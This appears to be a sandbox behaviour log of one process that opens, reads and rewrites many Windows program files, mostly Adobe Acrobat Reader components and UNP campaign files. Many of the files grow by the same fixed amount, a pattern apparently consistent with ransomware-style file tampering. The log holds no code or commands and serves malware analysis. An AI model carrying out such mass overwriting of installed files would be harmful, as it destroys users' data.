File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pt-PT\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pt-PT\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pt-PT\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pt-PT\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pt-PT\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\style_rtl.min.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\style_rtl.min.css, size = 274, size_out = 274	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\style_rtl.min.css, size = 1690	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\tr-TR\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\tr-TR\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\tr-TR\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\tr-TR\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\tr-TR\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.005.etl, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.005.etl, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.005.etl, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.005.etl, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.005.etl, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Windows Defender Advanced Threat Protection\SenseCncProxy.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\Windows Defender Advanced Threat Protection\SenseCncProxy.exe, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Windows Photo Viewer\ImagingDevices.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\Windows Photo Viewer\ImagingDevices.exe, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Compare_R_RHP.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Compare_R_RHP.aapp, size = 437, size_out = 437	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Compare_R_RHP.aapp, size = 1853	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Measure.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Measure.aapp, size = 585, size_out = 585	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Measure.aapp, size = 2001	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Locale\en_US\stopwords.ENU, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Locale\en_US\stopwords.ENU, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Locale\en_US\stopwords.ENU, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Locale\en_US\stopwords.ENU, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\DigSig.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\DigSig.api, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\DigSig.api, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\DigSig.api, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\DigSig.api, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\DigSig.api, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\WindowsMedia.mpp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\WindowsMedia.mpp, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\WindowsMedia.mpp, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\WindowsMedia.mpp, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\WindowsMedia.mpp, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\SendMail.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\SendMail.api, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\SendMail.api, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\SendMail.api, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\SendMail.api, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\SendMail.api, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\prcr.x3d, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\prcr.x3d, size = 61440, size_out = 61440	2	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\prcr.x3d, size = 8192, size_out = 8192	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\prcr.x3d, size = 9608	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\prcr.x3d, size = 61440	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\prcr.x3d, size = 8192	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\email_all.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\email_all.gif, size = 1443, size_out = 1443	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\email_all.gif, size = 2859	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\open_original_form.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\open_original_form.gif, size = 806, size_out = 806	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\open_original_form.gif, size = 2222	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\rss.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\rss.gif, size = 222, size_out = 222	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\rss.gif, size = 1638	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\turnOffNotificationInTray.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\turnOffNotificationInTray.gif, size = 995, size_out = 995	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\turnOffNotificationInTray.gif, size = 2411	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef-mac.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef-mac.css, size = 2538, size_out = 2538	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef-mac.css, size = 3954	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\A12_Spinner_int_2x.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\A12_Spinner_int_2x.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\A12_Spinner_int_2x.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\A12_Spinner_int_2x.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\close_x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\close_x.png, size = 306, size_out = 306	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\close_x.png, size = 1722	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_retina_thumb_highContrast_bow.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_retina_thumb_highContrast_bow.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_retina_thumb_highContrast_bow.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_retina_thumb_highContrast_bow.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons__retina_hiContrast_wob.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons__retina_hiContrast_wob.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons__retina_hiContrast_wob.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons__retina_hiContrast_wob.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons__retina_hiContrast_wob.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress_spinner2x.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress_spinner2x.gif, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress_spinner2x.gif, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress_spinner2x.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress_spinner2x.gif, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\A12_Spinner_int_2x.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\A12_Spinner_int_2x.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\A12_Spinner_int_2x.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\A12_Spinner_int_2x.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\close_x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\close_x.png, size = 306, size_out = 306	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\close_x.png, size = 1722	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\logo_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\logo_retina.png, size = 6955, size_out = 6955	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\logo_retina.png, size = 8371	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\arrow-down.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\arrow-down.png, size = 297, size_out = 297	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\arrow-down.png, size = 1713	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\vscroll-thumb.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\vscroll-thumb.png, size = 276, size_out = 276	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\vscroll-thumb.png, size = 1692	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-down-pressed.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-down-pressed.gif, size = 58, size_out = 58	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-down-pressed.gif, size = 1474	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\da-dk\ui-strings.js, size = 3646, size_out = 3646	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\da-dk\ui-strings.js, size = 5062	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\hr-hr\ui-strings.js, size = 3731, size_out = 3731	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\hr-hr\ui-strings.js, size = 5147	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\root\ui-strings.js, size = 3568, size_out = 3568	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\root\ui-strings.js, size = 4984	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app-api\dev\app-api.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app-api\dev\app-api.js, size = 4110, size_out = 4110	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app-api\dev\app-api.js, size = 5526	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\eu-es\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\eu-es\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\eu-es\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\nl-nl\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\nl-nl\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\nl-nl\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ui-strings.js, size = 1270, size_out = 1270	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ui-strings.js, size = 2686	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\en-gb\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\en-gb\ui-strings.js, size = 6855, size_out = 6855	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\en-gb\ui-strings.js, size = 8271	1	Fn Data
